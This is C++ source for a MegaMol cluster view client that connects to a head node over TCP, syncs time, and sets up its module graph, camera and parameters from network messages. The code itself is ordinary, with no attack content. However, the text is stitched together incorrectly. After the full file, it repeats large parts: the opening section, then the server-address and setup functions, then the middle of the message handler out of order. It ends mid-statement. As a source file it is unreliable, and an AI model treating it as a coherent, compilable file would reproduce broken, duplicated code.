#include "stdafx.h" #include "mmcore/cluster/AbstractClusterView.h" #include "mmcore/CoreInstance.h" #include "mmcore/cluster/InfoIconRenderer.h" #include "mmcore/cluster/NetMessages.h" #include "mmcore/param/StringParam.h" #include "mmcore/view/AbstractView.h" #include "vislib/RawStorageSerialiser.h" #include "vislib/graphics/gl/IncludeAllGL.h" #include "vislib/net/IPCommEndPoint.h" #include "vislib/net/IPEndPoint.h" #include "vislib/net/NetworkInformation.h" #include "vislib/net/TcpCommChannel.h" #include "vislib/sys/AutoLock.h" #include "vislib/sys/Log.h" #include "vislib/sys/SystemInformation.h" #include "vislib/sys/sysfunctions.h" using namespace megamol::core; cluster::AbstractClusterView::InitCameraHookHandler::InitCameraHookHandler(cluster::CommChannel* channel) : view::AbstractView::Hooks(), channel(channel), frameCnt(0) {} cluster::AbstractClusterView::InitCameraHookHandler::~InitCameraHookHandler(void) { this->channel = NULL; } void cluster::AbstractClusterView::InitCameraHookHandler::BeforeRender(view::AbstractView* view) { this->frameCnt++; if (this->frameCnt > 3) { vislib::net::SimpleMessage outMsg; view->UnregisterHook(this); outMsg.GetHeader().SetMessageID(cluster::netmessages::MSG_REQUEST_CAMERAVALUES); outMsg.GetHeader().SetBodySize(0); outMsg.AssertBodySize(); if (this->channel != NULL) { this->channel->SendMessage(outMsg); vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_INFO, "Camera initialization request sent.\n"); } else { vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_ERROR, "Failed to send camera initialization request.\n"); } delete this; } } cluster::AbstractClusterView::AbstractClusterView(void) : view::AbstractTileView() , ClusterControllerClient::Listener() , CommChannel::Listener() , ccc() , ctrlChannel() , lastPingTime(0) , serverAddressSlot("serverAddress", "The TCP/IP address of the server including the port") , setupState(SETUP_UNKNOWN) , graphInitData(NULL) { this->ccc.AddListener(this); this->MakeSlotAvailable(&this->ccc.RegisterSlot()); this->ctrlChannel.AddListener(this); this->serverAddressSlot << new param::StringParam(""); this->serverAddressSlot.SetUpdateCallback(&AbstractClusterView::onServerAddressChanged); this->MakeSlotAvailable(&this->serverAddressSlot); } cluster::AbstractClusterView::~AbstractClusterView(void) { try { this->ccc.RemoveListener(this); this->ctrlChannel.RemoveListener(this); if (this->ctrlChannel.IsOpen()) { this->ctrlChannel.Close(); } } catch (...) { } vislib::net::SimpleMessage* m = this->graphInitData; this->graphInitData = NULL; delete m; } void cluster::AbstractClusterView::ResetView(void) { } void cluster::AbstractClusterView::initClusterViewParameters(void) { const utility::Configuration& cfg = this->GetCoreInstance()->Configuration(); if (cfg.IsConfigValueSet("cmvshost")) { this->serverAddressSlot.Param<param::StringParam>()->SetValue(cfg.ConfigValue("cmvshost")); } } void cluster::AbstractClusterView::commPing(void) { unsigned int ping = vislib::sys::GetTicksOfDay() / 1000; if (ping == this->lastPingTime) return; this->lastPingTime = ping; if (!this->ctrlChannel.IsOpen()) { this->ccc.SendUserMsg(ClusterControllerClient::USRMSG_QUERYHEAD, NULL, 0); } } void cluster::AbstractClusterView::renderFallbackView(void) { ::glViewport(0, 0, this->getViewportWidth(), this->getViewportHeight()); ::glClearColor(0.0f, 0.0f, 0.0f, 1.0f); ::glClear(GL_COLOR_BUFFER_BIT); vislib::net::AbstractSimpleMessage* initmsg = this->graphInitData; if (initmsg != NULL) { this->graphInitData = NULL; this->GetCoreInstance()->SetupGraphFromNetwork(static_cast<void*>(initmsg)); delete initmsg; this->continueSetup(); return; } if ((this->getViewportHeight() <= 1) || (this->getViewportWidth() <= 1)) return; ::glMatrixMode(GL_PROJECTION); ::glLoadIdentity(); float aspect = static_cast<float>(this->getViewportWidth()) / static_cast<float>(this->getViewportHeight()); if ((this->getProjType() == vislib::graphics::CameraParameters::MONO_PERSPECTIVE) || (this->getProjType() == vislib::graphics::CameraParameters::MONO_ORTHOGRAPHIC)) { if (aspect > 1.0f) { ::glScalef(2.0f / aspect, -2.0f, 1.0f); } else { ::glScalef(2.0f, -2.0f * aspect, 1.0f); } ::glTranslatef(-0.5f, -0.5f, 0.0f); } else { if (this->getEye() == vislib::graphics::CameraParameters::RIGHT_EYE) { ::glTranslatef(0.5f, 0.0f, 0.0f); } else { ::glTranslatef(-0.5f, 0.0f, 0.0f); } if (aspect > 2.0f) { ::glScalef(2.0f / aspect, -2.0f, 1.0f); } else { ::glScalef(1.0f, -1.0f * aspect, 1.0f); } ::glTranslatef(-0.5f, -0.5f, 0.0f); } const float border = 0.2f; ::glTranslatef(border, border, 0.0f); ::glScalef(1.0f - 2.0f * border, 1.0f - 2.0f * border, 0.0f); ::glMatrixMode(GL_MODELVIEW); ::glLoadIdentity(); InfoIconRenderer::IconState icon = InfoIconRenderer::ICONSTATE_UNKNOWN; vislib::TString msg; this->getFallbackMessageInfo(msg, icon); InfoIconRenderer::RenderInfoIcon(icon, msg); } void cluster::AbstractClusterView::getFallbackMessageInfo( vislib::TString& outMsg, InfoIconRenderer::IconState& outState) { outState = InfoIconRenderer::ICONSTATE_UNKNOWN; outMsg = _T("State unknown"); } void cluster::AbstractClusterView::OnClusterUserMessage(cluster::ClusterControllerClient& sender, const cluster::ClusterController::PeerHandle& hPeer, bool isClusterMember, const UINT32 msgType, const BYTE* msgBody) { switch (msgType) { case ClusterControllerClient::USRMSG_HEADHERE: this->serverAddressSlot.Param<param::StringParam>()->SetValue(reinterpret_cast<const char*>(msgBody)); break; case ClusterControllerClient::USRMSG_SHUTDOWN: vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_INFO, "Cluster Shutdown message received. Terminating application.\n"); this->GetCoreInstance()->Shutdown(); break; } } void cluster::AbstractClusterView::OnCommChannelConnect(cluster::CommChannel& sender) { vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_INFO, "Connected to head node\n"); this->continueSetup(SETUP_TIME); } void cluster::AbstractClusterView::OnCommChannelDisconnect(cluster::CommChannel& sender) { vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_INFO, "Disconnected from head node\n"); this->serverAddressSlot.Param<param::StringParam>()->SetValue("", false); } void cluster::AbstractClusterView::OnCommChannelMessage( cluster::CommChannel& sender, const vislib::net::AbstractSimpleMessage& msg) { using vislib::sys::Log; vislib::net::SimpleMessage outMsg; switch (msg.GetHeader().GetMessageID()) { case cluster::netmessages::MSG_SHUTDOWN: this->GetCoreInstance()->Shutdown(); break; case cluster::netmessages::MSG_PING_TIMESYNC: ASSERT(msg.GetHeader().GetBodySize() == sizeof(cluster::netmessages::TimeSyncData)); outMsg.GetHeader().SetMessageID(cluster::netmessages::MSG_PING_TIMESYNC); outMsg.GetHeader().SetBodySize(sizeof(cluster::netmessages::TimeSyncData)); outMsg.AssertBodySize(); ::memcpy(outMsg.GetBody(), msg.GetBody(), sizeof(cluster::netmessages::TimeSyncData)); outMsg.GetBodyAs<cluster::netmessages::TimeSyncData>() ->clntTimes[outMsg.GetBodyAs<cluster::netmessages::TimeSyncData>()->trip] = this->GetCoreInstance()->GetCoreInstanceTime(); sender.SendMessage(outMsg); break; case cluster::netmessages::MSG_DONE_TIMESYNC: { if (this->setupState != SETUP_TIME) { Log::DefaultLog.WriteMsg(Log::LEVEL_WARN, "Setup step order problem: TimeSync-Message received during setup step #%d\n", static_cast<int>(this->setupState)); break; } ASSERT(msg.GetHeader().GetBodySize() == sizeof(cluster::netmessages::TimeSyncData)); const cluster::netmessages::TimeSyncData& dat = *msg.GetBodyAs<cluster::netmessages::TimeSyncData>(); double offsets[cluster::netmessages::MAX_TIME_SYNC_PING]; vislib::StringA msg("TimeSync Done:\n"); vislib::StringA line; for (unsigned int i = 0; i < cluster::netmessages::MAX_TIME_SYNC_PING; i++) { line.Format(" %f (%f)=> %f (%f)\n", dat.srvrTimes[i], (dat.srvrTimes[i + 1] + dat.srvrTimes[i]) * 0.5, dat.clntTimes[i], ((dat.srvrTimes[i] + dat.srvrTimes[i + 1]) * 0.5) - dat.clntTimes[i]); msg += line; } line.Format(" %f\n", dat.srvrTimes[cluster::netmessages::MAX_TIME_SYNC_PING]); msg += line; for (unsigned int i = 0; i < cluster::netmessages::MAX_TIME_SYNC_PING; i++) { offsets[i] = ((dat.srvrTimes[i] + dat.srvrTimes[i + 1]) * 0.5) - dat.clntTimes[i]; line.Format("Offset %d: %f\n", i, offsets[i]); msg += line; } vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_INFO + 500, msg); double offset = 0.0; for (unsigned int i = 0; i < cluster::netmessages::MAX_TIME_SYNC_PING; i++) { offset += offsets[i]; } offset /= static_cast<double>(cluster::netmessages::MAX_TIME_SYNC_PING); Log::DefaultLog.WriteMsg(Log::LEVEL_INFO, "Time sync finished with offset %f", offset); this->GetCoreInstance()->OffsetInstanceTime(offset); this->continueSetup(); } break; case cluster::netmessages::MSG_TIME_SANITYCHECK: outMsg.GetHeader().SetMessageID(cluster::netmessages::MSG_TIME_SANITYCHECK); outMsg.GetHeader().SetBodySize(sizeof(double)); outMsg.AssertBodySize(); *outMsg.GetBodyAs<double>() = this->GetCoreInstance()->GetCoreInstanceTime(); sender.SendMessage(outMsg); break; case cluster::netmessages::MSG_WHATSYOURNAME: { vislib::StringA myname; vislib::sys::SystemInformation::ComputerName(myname); outMsg.GetHeader().SetMessageID(cluster::netmessages::MSG_MYNAMEIS); outMsg.GetHeader().SetBodySize(myname.Length() + 1); outMsg.AssertBodySize(); ::memcpy(outMsg.GetBody(), myname.PeekBuffer(), myname.Length() + 1); sender.SendMessage(outMsg); } break; case cluster::netmessages::MSG_MYNAMEIS: ASSERT(msg.GetHeader().GetBodySize() > 0); sender.SetCounterpartName(msg.GetBodyAs<char>()); break; case cluster::netmessages::MSG_REQUEST_RESETUP: this->continueSetup(SETUP_GRAPH); break; case cluster::netmessages::MSG_GRAPHSETUP: if (this->setupState != SETUP_GRAPH) { Log::DefaultLog.WriteMsg(Log::LEVEL_WARN, "Setup step order problem: Graph-Setup-Message received during setup step #%d\n", static_cast<int>(this->setupState)); break; } if (this->graphInitData == NULL) { { vislib::sys::AutoLock lock(this->ModuleGraphLock()); this->disconnectOutgoingRenderCall(); } this->GetCoreInstance()->CleanupModuleGraph(); this->graphInitData = new vislib::net::SimpleMessage(msg); } else { Log::DefaultLog.WriteMsg(Log::LEVEL_ERROR, "Failed to setup module graph: still pending init data\n"); } break; case cluster::netmessages::MSG_SET_CLUSTERVIEW: { factories::CallDescription::ptr desc = this->GetCoreInstance()->GetCallDescriptionManager().Find("CallRenderView"); if (desc != NULL) { Call* c = this->GetCoreInstance()->InstantiateCall( this->FullName() + "::renderView", vislib::StringA(msg.GetBodyAs<char>()) + "::render", desc); if (c == NULL) { Log::DefaultLog.WriteMsg( Log::LEVEL_ERROR, "Unable to connect cluster display to view %s\n", msg.GetBodyAs<char>()); } } else { Log::DefaultLog.WriteMsg(Log::LEVEL_ERROR, "Internal Error: \"CallRenderView\" is not registered\n"); } view::AbstractView* view = this->getConnectedView(); if (view != NULL) { view->RegisterHook(new InitCameraHookHandler(&sender)); } } break; case cluster::netmessages::MSG_SET_CAMERAVALUES: { view::AbstractView* av = this->getConnectedView(); if (av != NULL) { vislib::RawStorageSerialiser rss(static_cast<const BYTE*>(msg.GetBody()), msg.GetHeader().GetBodySize()); av->DeserialiseCamera(rss); } } break; case cluster::netmessages::MSG_SET_PARAMVALUE: { vislib::StringA name(msg.GetBodyAs<char>()); vislib::StringA value(msg.GetBodyAsAt<char>(name.Length() + 1)); AbstractNamedObject::ptr_type p = this->FindNamedObject(name, true); param::ParamSlot* ps = dynamic_cast<param::ParamSlot*>(p.get()); if (ps != NULL) { ps->Parameter()->ParseValue(value); } } break; default: Log::DefaultLog.WriteMsg(Log::LEVEL_INFO, "Unhandled message received: %u\n", static_cast<unsigned int>(msg.GetHeader().GetMessageID())); break; } } bool cluster::AbstractClusterView::onServerAddressChanged(param::ParamSlot& slot) { ASSERT(&slot == &this->serverAddressSlot); vislib::StringA address(this->serverAddressSlot.Param<param::StringParam>()->Value()); if (address.IsEmpty()) { try { if (this->ctrlChannel.IsOpen()) { this->ctrlChannel.Close(); } } catch (...) { } return true; } vislib::net::IPEndPoint ep; float wildness = vislib::net::NetworkInformation::GuessRemoteEndPoint(ep, address); try { if (this->ctrlChannel.IsOpen()) { this->ctrlChannel.Close(); } } catch (...) { } if (wildness > 0.8) { vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_ERROR, "Guessed server end point \"%s\" from \"%s\" with too high wildness: %f\n", ep.ToStringA().PeekBuffer(), address.PeekBuffer(), wildness); this->serverAddressSlot.Param<param::StringParam>()->SetValue("", false); return true; } vislib::sys::Log::DefaultLog.WriteMsg( (wildness > 0.3) ? vislib::sys::Log::LEVEL_WARN : vislib::sys::Log::LEVEL_INFO, "Starting server on \"%s\" guessed from \"%s\" with wildness: %f\n", ep.ToStringA().PeekBuffer(), address.PeekBuffer(), wildness); vislib::SmartRef<vislib::net::TcpCommChannel> channel = vislib::net::TcpCommChannel::Create( vislib::net::TcpCommChannel::FLAG_NODELAY | vislib::net::TcpCommChannel::FLAG_REUSE_ADDRESS); try { channel->Connect(vislib::net::IPCommEndPoint::Create(ep)); this->ctrlChannel.Open(channel.DynamicCast<vislib::net::AbstractCommClientChannel>()); } catch (vislib::Exception ex) { vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_ERROR, "Unable to connect to server: %s\n", ex.GetMsgA()); this->serverAddressSlot.Param<param::StringParam>()->SetValue("", false); } catch (...) { vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_ERROR, "Unable to connect to server: unexpected exception\n"); this->serverAddressSlot.Param<param::StringParam>()->SetValue("", false); } return true; } void cluster::AbstractClusterView::continueSetup(cluster::AbstractClusterView::SetupState state) { if (state == SETUP_UNKNOWN) { switch (this->setupState) { case SETUP_TIME: this->setupState = SETUP_GRAPH; break; case SETUP_GRAPH: this->setupState = SETUP_CAMERA; break; case SETUP_CAMERA: this->setupState = SETUP_COMPLETE; break; case SETUP_COMPLETE: break; default: this->setupState = SETUP_UNKNOWN; break; } } else { this->setupState = state; } if (this->setupState == SETUP_COMPLETE) { vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_INFO, "Setup complete"); return; } if (this->setupState == SETUP_UNKNOWN) { vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_WARN, "Setup in undefined stated. Restarting."); this->setupState = SETUP_TIME; } vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_INFO + 50, "Entering setup state #%d\n", static_cast<int>(this->setupState)); vislib::net::SimpleMessage msg; switch (this->setupState) { case SETUP_TIME: msg.GetHeader().SetMessageID(cluster::netmessages::MSG_REQUEST_TIMESYNC); msg.GetHeader().SetBodySize(0); msg.AssertBodySize(); this->ctrlChannel.SendMessage(msg); break; case SETUP_GRAPH: msg.GetHeader().SetMessageID(cluster::netmessages::MSG_REQUEST_GRAPHSETUP); msg.GetHeader().SetBodySize(0); msg.AssertBodySize(); this->ctrlChannel.SendMessage(msg); break; case SETUP_CAMERA: msg.GetHeader().SetMessageID(cluster::netmessages::MSG_REQUEST_CAMERASETUP); msg.GetHeader().SetBodySize(0); msg.AssertBodySize(); this->ctrlChannel.SendMessage(msg); break; default: vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_ERROR, "Setup state #%d not implemented\n", static_cast<int>(this->setupState)); break; } }
#include "stdafx.h" #include "mmcore/cluster/AbstractClusterView.h" #include "mmcore/CoreInstance.h" #include "mmcore/cluster/InfoIconRenderer.h" #include "mmcore/cluster/NetMessages.h" #include "mmcore/param/StringParam.h" #include "mmcore/view/AbstractView.h" #include "vislib/RawStorageSerialiser.h" #include "vislib/graphics/gl/IncludeAllGL.h" #include "vislib/net/IPCommEndPoint.h" #include "vislib/net/IPEndPoint.h" #include "vislib/net/NetworkInformation.h" #include "vislib/net/TcpCommChannel.h" #include "vislib/sys/AutoLock.h" #include "vislib/sys/Log.h" #include "vislib/sys/SystemInformation.h" #include "vislib/sys/sysfunctions.h" using namespace megamol::core; cluster::AbstractClusterView::InitCameraHookHandler::InitCameraHookHandler(cluster::CommChannel* channel) : view::AbstractView::Hooks(), channel(channel), frameCnt(0) {} cluster::AbstractClusterView::InitCameraHookHandler::~InitCameraHookHandler(void) { this->channel = NULL; } void cluster::AbstractClusterView::InitCameraHookHandler::BeforeRender(view::AbstractView* view) { this->frameCnt++; if (this->frameCnt > 3) { vislib::net::SimpleMessage outMsg; view->UnregisterHook(this); outMsg.GetHeader().SetMessageID(cluster::netmessages::MSG_REQUEST_CAMERAVALUES); outMsg.GetHeader().SetBodySize(0); outMsg.AssertBodySize(); if (this->channel != NULL) { this->channel->SendMessage(outMsg); vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_INFO, "Camera initialization request sent.\n"); } else { vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_ERROR, "Failed to send camera initialization request.\n"); } delete this; } } cluster::AbstractClusterView::AbstractClusterView(void) : view::AbstractTileView() , ClusterControllerClient::Listener() , CommChannel::Listener() , ccc() , ctrlChannel() , lastPingTime(0) , serverAddressSlot("serverAddress", "The TCP/IP address of the server including the port") , setupState(SETUP_UNKNOWN) , graphInitData(NULL) { this->ccc.AddListener(this); this->MakeSlotAvailable(&this->ccc.RegisterSlot()); this->ctrlChannel.AddListener(this); this->serverAddressSlot << new param::StringParam(""); this->serverAddressSlot.SetUpdateCallback(&AbstractClusterView::onServerAddressChanged); this->MakeSlotAvailable(&this->serverAddressSlot); } cluster::AbstractClusterView::~AbstractClusterView(void) { try { this->ccc.RemoveListener(this); this->ctrlChannel.RemoveListener(this); if (this->ctrlChannel.IsOpen()) { this->ctrlChannel.Close(); } } catch (...) { } vislib::net::SimpleMessage* m = this->graphInitData; this->graphInitData = NULL; delete m; } void cluster::AbstractClusterView::ResetView(void) { } void cluster::AbstractClusterView::initClusterViewParameters(void) { const utility::Configuration& cfg = this->GetCoreInstance()->Configuration(); if (cfg.IsConfigValueSet("cmvshost")) { this->serverAddressSlot.Param<param::StringParam>()->SetValue(cfg.ConfigValue("cmvshost")); } } void cluster::AbstractClusterView::commPing(void) { unsigned int ping = vislib::sys::GetTicksOfDay() / 1000; if (ping == this->lastPingTime) return; this->lastPingTime = ping; if (!this->ctrlChannel.IsOpen()) { this->ccc.SendUserMsg(ClusterControllerClient::USRMSG_QUERYHEAD, NULL, 0); } } void cluster::AbstractClusterView::renderFallbackView(void) { ::glViewport(0, 0, this->getViewportWidth(), this->getViewportHeight()); ::glClearColor(0.0f, 0.0f, 0.0f, 1.0f); ::glClear(GL_COLOR_BUFFER_BIT); vislib::net::AbstractSimpleMessage* initmsg = this->graphInitData; if (initmsg != NULL) { this->graphInitData = NULL; this->GetCoreInstance()->SetupGraphFromNetwork(static_cast<void*>(initmsg)); delete initmsg; this->continueSetup(); return; } if ((this->getViewportHeight() <= 1) || (this->getViewportWidth() <= 1)) return; ::glMatrixMode(GL_PROJECTION); ::glLoadIdentity(); float aspect = static_cast<float>(this->getViewportWidth()) / static_cast<float>(this->getViewportHeight()); if ((this->getProjType() == vislib::graphics::CameraParameters::MONO_PERSPECTIVE) || (this->getProjType() == vislib::graphics::CameraParameters::MONO_ORTHOGRAPHIC)) { if (aspect > 1.0f) { ::glScalef(2.0f / aspect, -2.0f, 1.0f); } else { ::glScalef(2.0f, -2.0f * aspect, 1.0f); } ::glTranslatef(-0.5f, -0.5f, 0.0f); } else { if (this->getEye() == vislib::graphics::CameraParameters::RIGHT_EYE) { ::glTranslatef(0.5f, 0.0f, 0.0f); } else { ::glTranslatef(-0.5f, 0.0f, 0.0f); } if (aspect > 2.0f) { ::glScalef(2.0f / aspect, -2.0f, 1.0f); } else { ::glScalef(1.0f, -1.0f * aspect, 1.0f); } ::glTranslatef(-0.5f, -0.5f, 0.0f); } const float border = 0.2f; ::glTranslatef(border, border, 0.0f); ::glScalef(1.0f - 2.0f * border, 1.0f - 2.0f * border, 0.0f); ::glMatrixMode(GL_MODELVIEW); ::glLoadIdentity(); InfoIconRenderer::IconState icon = InfoIconRenderer::ICONSTATE_UNKNOWN; vislib::TString msg; this->getFallbackMessageInfo(msg, icon); InfoIconRenderer::RenderInfoIcon(icon, msg); } void cluster::AbstractClusterView::getFallbackMessageInfo( vislib::TString& outMsg, InfoIconRenderer::IconState& outState) { outState = InfoIconRenderer::ICONSTATE_UNKNOWN; outMsg = _T("State unknown"); } void cluster::AbstractClusterView::OnClusterUserMessage(cluster::ClusterControllerClient& sender, const cluster::ClusterController::PeerHandle& hPeer, bool isClusterMember, const UINT32 msgType, const BYTE* msgBody) { switch (msgType) { case ClusterControllerClient::USRMSG_HEADHERE: this->serverAddressSlot.Param<param::StringParam>()->SetValue(reinterpret_cast<const char*>(msgBody)); break; case ClusterControllerClient::USRMSG_SHUTDOWN: vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_INFO, "Cluster Shutdown message received. Terminating application.\n"); this->GetCoreInstance()->Shutdown(); break; } } void cluster::AbstractClusterView::OnCommChannelConnect(cluster::CommChannel& sender) { vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_INFO, "Connected to head node\n"); this->continueSetup(SETUP_TIME); } void cluster::AbstractClusterView::OnCommChannelDisconnect(cluster::CommChannel& sender) { vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_INFO, "Disconnected from head node\n"); this->serverAddressSlot.Param<param::StringParam>()->SetValue("", false); } void cluster::AbstractClusterView::OnCommChannelMessage( cluster::CommChannel& sender, const vislib::net::AbstractSimpleMessage& msg) { using vislib::sys::Log; vislib::net::SimpleMessage outMsg; switch (msg.GetHeader().GetMessageID()) { case cluster::netmessages::MSG_SHUTDOWN:
bool cluster::AbstractClusterView::onServerAddressChanged(param::ParamSlot& slot) { ASSERT(&slot == &this->serverAddressSlot); vislib::StringA address(this->serverAddressSlot.Param<param::StringParam>()->Value()); if (address.IsEmpty()) { try { if (this->ctrlChannel.IsOpen()) { this->ctrlChannel.Close(); } } catch (...) { } return true; } vislib::net::IPEndPoint ep; float wildness = vislib::net::NetworkInformation::GuessRemoteEndPoint(ep, address); try { if (this->ctrlChannel.IsOpen()) { this->ctrlChannel.Close(); } } catch (...) { } if (wildness > 0.8) { vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_ERROR, "Guessed server end point \"%s\" from \"%s\" with too high wildness: %f\n", ep.ToStringA().PeekBuffer(), address.PeekBuffer(), wildness); this->serverAddressSlot.Param<param::StringParam>()->SetValue("", false); return true; } vislib::sys::Log::DefaultLog.WriteMsg( (wildness > 0.3) ? vislib::sys::Log::LEVEL_WARN : vislib::sys::Log::LEVEL_INFO, "Starting server on \"%s\" guessed from \"%s\" with wildness: %f\n", ep.ToStringA().PeekBuffer(), address.PeekBuffer(), wildness); vislib::SmartRef<vislib::net::TcpCommChannel> channel = vislib::net::TcpCommChannel::Create( vislib::net::TcpCommChannel::FLAG_NODELAY | vislib::net::TcpCommChannel::FLAG_REUSE_ADDRESS); try { channel->Connect(vislib::net::IPCommEndPoint::Create(ep)); this->ctrlChannel.Open(channel.DynamicCast<vislib::net::AbstractCommClientChannel>()); } catch (vislib::Exception ex) { vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_ERROR, "Unable to connect to server: %s\n", ex.GetMsgA()); this->serverAddressSlot.Param<param::StringParam>()->SetValue("", false); } catch (...) { vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_ERROR, "Unable to connect to server: unexpected exception\n"); this->serverAddressSlot.Param<param::StringParam>()->SetValue("", false); } return true; } void cluster::AbstractClusterView::continueSetup(cluster::AbstractClusterView::SetupState state) { if (state == SETUP_UNKNOWN) { switch (this->setupState) { case SETUP_TIME: this->setupState = SETUP_GRAPH; break; case SETUP_GRAPH: this->setupState = SETUP_CAMERA; break; case SETUP_CAMERA: this->setupState = SETUP_COMPLETE; break; case SETUP_COMPLETE: break; default: this->setupState = SETUP_UNKNOWN; break; } } else { this->setupState = state; } if (this->setupState == SETUP_COMPLETE) { vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_INFO, "Setup complete"); return; } if (this->setupState == SETUP_UNKNOWN) { vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_WARN, "Setup in undefined stated. Restarting."); this->setupState = SETUP_TIME; } vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_INFO + 50, "Entering setup state #%d\n", static_cast<int>(this->setupState)); vislib::net::SimpleMessage msg; switch (this->setupState) { case SETUP_TIME: msg.GetHeader().SetMessageID(cluster::netmessages::MSG_REQUEST_TIMESYNC); msg.GetHeader().SetBodySize(0); msg.AssertBodySize(); this->ctrlChannel.SendMessage(msg); break; case SETUP_GRAPH: msg.GetHeader().SetMessageID(cluster::netmessages::MSG_REQUEST_GRAPHSETUP); msg.GetHeader().SetBodySize(0); msg.AssertBodySize(); this->ctrlChannel.SendMessage(msg); break; case SETUP_CAMERA: msg.GetHeader().SetMessageID(cluster::netmessages::MSG_REQUEST_CAMERASETUP); msg.GetHeader().SetBodySize(0); msg.AssertBodySize(); this->ctrlChannel.SendMessage(msg); break; default: vislib::sys::Log::DefaultLog.WriteMsg( vislib::sys::Log::LEVEL_ERROR, "Setup state #%d not implemented\n", static_cast<int>(this->setupState)); break; } }
this->GetCoreInstance()->Shutdown(); break; case cluster::netmessages::MSG_PING_TIMESYNC: ASSERT(msg.GetHeader().GetBodySize() == sizeof(cluster::netmessages::TimeSyncData)); outMsg.GetHeader().SetMessageID(cluster::netmessages::MSG_PING_TIMESYNC); outMsg.GetHeader().SetBodySize(sizeof(cluster::netmessages::TimeSyncData)); outMsg.AssertBodySize(); ::memcpy(outMsg.GetBody(), msg.GetBody(), sizeof(cluster::netmessages::TimeSyncData)); outMsg.GetBodyAs<cluster::netmessages::TimeSyncData>() ->clntTimes[outMsg.GetBodyAs<cluster::netmessages::TimeSyncData>()->trip] = this->GetCoreInstance()->GetCoreInstanceTime(); sender.SendMessage(outMsg); break; case cluster::netmessages::MSG_DONE_TIMESYNC: { if (this->setupState != SETUP_TIME) { Log::DefaultLog.WriteMsg(Log::LEVEL_WARN, "Setup step order problem: TimeSync-Message received during setup step #%d\n", static_cast<int>(this->setupState)); break; } ASSERT(msg.GetHeader().GetBodySize() == sizeof(cluster::netmessages::TimeSyncData)); const cluster::netmessages::TimeSyncData& dat = *msg.GetBodyAs<cluster::netmessages::TimeSyncData>(); double offsets[cluster::netmessages::MAX_TIME_SYNC_PING]; vislib::StringA msg("TimeSync Done:\n"); vislib::StringA line; for (unsigned int i = 0; i < cluster::netmessages::MAX_TIME_SYNC_PING; i++) { line.Format(" %f (%f)=> %f (%f)\n", dat.srvrTimes[i], (dat.srvrTimes[i + 1] + dat.srvrTimes[i]) * 0.5, dat.clntTimes[i], ((dat.srvrTimes[i] + dat.srvrTimes[i + 1]) * 0.5) - dat.clntTimes[i]); msg += line; } line.Format(" %f\n", dat.srvrTimes[cluster::netmessages::MAX_TIME_SYNC_PING]); msg += line; for (unsigned int i = 0; i < cluster::netmessages::MAX_TIME_SYNC_PING; i++) { offsets[i] = ((dat.srvrTimes[i] + dat.srvrTimes[i + 1]) * 0.5) - dat.clntTimes[i]; line.Format("Offset %d: %f\n", i, offsets[i]); msg += line; } vislib::sys::Log::DefaultLog.WriteMsg(vislib::sys::Log::LEVEL_INFO + 500, msg); double offset = 0.0; for (unsigned int i = 0; i < cluster::netmessages::MAX_TIME_SYNC_PING; i++) { offset += offsets[i]; } offset /= static_cast<double>(cluster::netmessages::MAX_TIME_SYNC_PING); Log::DefaultLog.WriteMsg(Log::LEVEL_INFO, "Time sync finished with offset %f", offset); this->GetCoreInstance()->OffsetInstanceTime(offset); this->continueSetup(); } break; case cluster::netmessages::MSG_TIME_SANITYCHECK: outMsg.GetHeader().SetMessageID(cluster::netmessages::MSG_TIME_SANITYCHECK); outMsg.GetHeader().SetBodySize(sizeof(double)); outMsg.AssertBodySize(); *outMsg.GetBodyAs<double>() = this->GetCoreInstance()->GetCoreInstanceTime(); sender.SendMessage(outMsg); break; case cluster::netmessages::MSG_WHATSYOURNAME: { vislib::StringA myname; vislib::sys::SystemInformation::ComputerName(myname); outMsg.GetHeader().SetMessageID(cluster::netmessages::MSG_MYNAMEIS); outMsg.GetHeader().SetBodySize(myname.Length() + 1); outMsg.AssertBodySize(); ::memcpy(outMsg.GetBody(), myname.PeekBuffer(), myname.Length() + 1); sender.SendMessage(outMsg); } break; case cluster::netmessages::MSG_MYNAMEIS: ASSERT(msg.GetHeader().GetBodySize() > 0); sender.SetCounterpartName(msg.GetBodyAs<char>()); break; case cluster::netmessages::MSG_REQUEST_RESETUP: this->continueSetup(SETUP_GRAPH); break; case cluster::netmessages::MSG_GRAPHSETUP: if (this->setupState != SETUP_GRAPH) { Log::DefaultLog.WriteMsg(Log::LEVEL_WARN, "Setup step order problem: Graph-Setup-Message received during setup step #%d\n", static_cast<int>(this->setupState)); break; } if (this->graphInitData == NULL) { { vislib::sys::AutoLock lock(this->ModuleGraphLock()); this->disconnectOutgoingRenderCall(); } this->GetCoreInstance()->CleanupModuleGraph(); this->graphInitData = new vislib::net::SimpleMessage(msg); } else { Log::DefaultLog.WriteMsg(Log::LEVEL_ERROR, "Failed to setup module graph: still pending init data\n"); } break; case cluster::netmessages::MSG_SET_CLUSTERVIEW: { factories::CallDescription::ptr desc = 